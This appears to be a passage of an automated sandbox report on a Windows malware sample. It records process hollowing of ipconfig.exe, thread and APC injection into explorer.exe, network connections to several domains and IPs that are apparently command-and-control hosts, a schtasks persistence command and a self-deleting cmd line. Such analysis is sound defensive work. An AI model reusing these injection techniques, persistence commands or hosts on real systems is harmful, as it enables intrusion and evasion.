Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D52D8A mov eax, dword ptr fs:[00000030h]	15_2_00D52D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D52D8A mov eax, dword ptr fs:[00000030h]	15_2_00D52D8A
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D81DB5 mov eax, dword ptr fs:[00000030h]	15_2_00D81DB5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D81DB5 mov eax, dword ptr fs:[00000030h]	15_2_00D81DB5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D81DB5 mov eax, dword ptr fs:[00000030h]	15_2_00D81DB5
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D835A1 mov eax, dword ptr fs:[00000030h]	15_2_00D835A1
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D77D50 mov eax, dword ptr fs:[00000030h]	15_2_00D77D50
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D93D43 mov eax, dword ptr fs:[00000030h]	15_2_00D93D43
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00DD3540 mov eax, dword ptr fs:[00000030h]	15_2_00DD3540
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D7C577 mov eax, dword ptr fs:[00000030h]	15_2_00D7C577
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D7C577 mov eax, dword ptr fs:[00000030h]	15_2_00D7C577
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E28D34 mov eax, dword ptr fs:[00000030h]	15_2_00E28D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E1E539 mov eax, dword ptr fs:[00000030h]	15_2_00E1E539
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D63D34 mov eax, dword ptr fs:[00000030h]	15_2_00D63D34
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D84D3B mov eax, dword ptr fs:[00000030h]	15_2_00D84D3B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D84D3B mov eax, dword ptr fs:[00000030h]	15_2_00D84D3B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D84D3B mov eax, dword ptr fs:[00000030h]	15_2_00D84D3B
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D5AD30 mov eax, dword ptr fs:[00000030h]	15_2_00D5AD30
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00DDA537 mov eax, dword ptr fs:[00000030h]	15_2_00DDA537
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D836CC mov eax, dword ptr fs:[00000030h]	15_2_00D836CC
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00D98EC7 mov eax, dword ptr fs:[00000030h]	15_2_00D98EC7
Source: C:\Windows\SysWOW64\ipconfig.exe	Code function: 15_2_00E0FEC0 mov eax, dword ptr fs:[00000030h]	15_2_00E0FEC0

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.morumi.site
Source: C:\Windows\explorer.exe	Domain query: www.firstcoastelope.com
Source: C:\Windows\explorer.exe	Network Connect: 199.192.27.68 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.sherylabrahamphotography.com
Source: C:\Windows\explorer.exe	Domain query: www.recruit-japan-hcm.com
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.231.69.84 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.joycasino-2020.club
Source: C:\Windows\explorer.exe	Network Connect: 192.0.78.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.genialnetero.com
Source: C:\Windows\explorer.exe	Network Connect: 206.189.46.186 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.241.62.33 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.evrbrite.com
Source: C:\Windows\explorer.exe	Domain query: www.website-bazar.com
Source: C:\Windows\explorer.exe	Network Connect: 198.54.115.5 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.cinmax.xyz
Source: C:\Windows\explorer.exe	Domain query: www.marielivet.com
Source: C:\Windows\explorer.exe	Domain query: www.blueberry-intl.com
Source: C:\Windows\explorer.exe	Network Connect: 67.222.39.83 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.thaihuay88.com

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Memory written: C:\Users\user\Desktop\08917506_by_Libranalysis.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\SysWOW64\ipconfig.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Thread register set: target process: 3292			Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Thread register set: target process: 3292			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe

Section unmapped: C:\Windows\SysWOW64\ipconfig.exe base address: 1380000

Jump to behavior

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp'	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\08917506_by_Libranalysis.exe C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Jump to behavior
Source: C:\Windows\SysWOW64\ipconfig.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe'	Jump to behavior

Source: explorer.exe, 00000007.00000000.254624885.0000000001400000.00000002.00000001.sdmp, ipconfig.exe, 0000000F.00000002.499457554.0000000005480000.00000002.00000001.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000007.00000000.254624885.0000000001400000.00000002.00000001.sdmp, ipconfig.exe, 0000000F.00000002.499457554.0000000005480000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.254624885.0000000001400000.00000002.00000001.sdmp, ipconfig.exe, 0000000F.00000002.499457554.0000000005480000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000002.493138403.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000007.00000000.254624885.0000000001400000.00000002.00000001.sdmp, ipconfig.exe, 0000000F.00000002.499457554.0000000005480000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.277780603.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\08917506_by_Libranalysis.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
